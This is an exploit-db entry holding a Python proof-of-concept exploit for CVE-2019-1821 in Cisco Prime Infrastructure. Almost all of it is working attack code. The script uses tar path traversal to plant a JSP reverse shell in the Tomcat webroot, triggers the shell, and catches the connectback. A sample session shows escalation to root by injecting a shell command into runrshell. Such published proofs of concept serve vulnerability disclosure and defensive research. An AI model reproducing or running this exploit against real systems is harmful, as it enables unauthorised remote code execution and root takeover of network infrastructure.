Cisco Prime Infrastructure Health Monitor HA TarArchive – Directory Traversal / Remote Code Execution

  • 作者: mr_me
    日期: 2019-05-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47686/
  • #!/usr/bin/python
    
    """
    Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability
    Steven Seeley (mr_me) of Source Incite - 2019
    SRC: SRC-2019-0034
    CVE: CVE-2019-1821
    
    Example:
    ========
    
    saturn:~ mr_me$ ./poc.py 
    (+) usage: ./poc.py <target> <connectback:port>
    (+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444
    
    saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
    (+) planted backdoor!
    (+) starting handler on port 4444
    (+) connection from 192.168.100.123
    (+) pop thy shell!
    python -c 'import pty; pty.spawn("/bin/bash")'
    [prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
    /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
    sh-4.1# /usr/bin/id
    /usr/bin/id
    uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
    sh-4.1# exit
    exit
    exit
    [prime@piconsole CSCOlumos]$ exit
    exit
    exit
    """
    
    import sys
    import socket
    import requests
    import tarfile
    import telnetlib
    from threading import Thread
    from cStringIO import StringIO
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    def _build_tar(ls, lp):
    """
    build the tar archive without touching disk
    """
    f = StringIO()
    b = _get_jsp(ls, lp)
    t = tarfile.TarInfo("../../opt/CSCOlumos/tomcat/webapps/ROOT/si.jsp")
    t.size = len(b)
    with tarfile.open(fileobj=f, mode="w") as tar:
    tar.addfile(t, StringIO(b))
    return f.getvalue()
    
    def _get_jsp(ls, lp):
    jsp = """<%@page import="java.lang.*"%>
    <%@page import="java.util.*"%>
    <%@page import="java.io.*"%>
    <%@page import="java.net.*"%>
    <%
    class StreamConnector extends Thread
    {
    InputStream sv;
    OutputStream tp;
    StreamConnector( InputStream sv, OutputStream tp )
    {
    this.sv = sv;
    this.tp = tp;
    }
    public void run()
    {
    BufferedReader za= null;
    BufferedWriter hjr = null;
    try
    {
    za= new BufferedReader( new InputStreamReader( this.sv ) );
    hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
    char buffer[] = new char[8192];
    int length;
    while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
    {
    hjr.write( buffer, 0, length );
    hjr.flush();
    }
    } catch( Exception e ){}
    try
    {
    if( za != null )
    za.close();
    if( hjr != null )
    hjr.close();
    } catch( Exception e ){}
    }
    }
    try
    {
    String ShellPath = new String("/bin/sh");
    Socket socket = new Socket("__IP__", __PORT__);
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
    } catch( Exception e ) {}
    %>"""
    return jsp.replace("__IP__", ls).replace("__PORT__", str(lp))
    
    def handler(lp):
    """
    This is the client handler, to catch the connectback
    """
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print"(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()
    
    def exec_code(t, lp):
    """
    This function threads the client handler and sends off the attacking payload
    """
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    r = requests.get("https://%s/si.jsp" % t, verify=False)
    
    def we_can_upload(t, ls, lp):
    """
    This is where we take advantage of the vulnerability
    """
    td = _build_tar(ls, lp)
    bd = {'files': ('si.tar', td)}
    h = {
    'Destination-Dir': 'tftpRoot',
    'Compressed-Archive': "false",
    'Primary-IP' : '127.0.0.1',
    'Filecount' : "1",
    'Filename': "si.tar",
    'Filesize' : str(len(td)),
    }
    r = requests.post("https://%s:8082/servlet/UploadServlet" % t, headers=h, files=bd, verify=False)
    if r.status_code == 200:
    return True
    return False
    
    def main():
    if len(sys.argv) != 3:
    print "(+) usage: %s <target> <connectback:port>" % sys.argv[0]
    print "(+) eg: %s 192.168.100.123 192.168.100.2:4444" % sys.argv[0]
    sys.exit(-1)
    t= sys.argv[1]
    cb = sys.argv[2]
    if not ":" in cb:
    print "(+) using default connectback port 4444"
    ls = cb
    lp = 4444
    else:
    if not cb.split(":")[1].isdigit():
    print "(-) %s is not a port number!" % cb.split(":")[1]
    sys.exit(-1)
    ls = cb.split(":")[0]
    lp = int(cb.split(":")[1])
    if we_can_upload(t, ls, lp):
    print "(+) planted backdoor!"
    exec_code(t, lp)
    
    if __name__ == '__main__':
    main()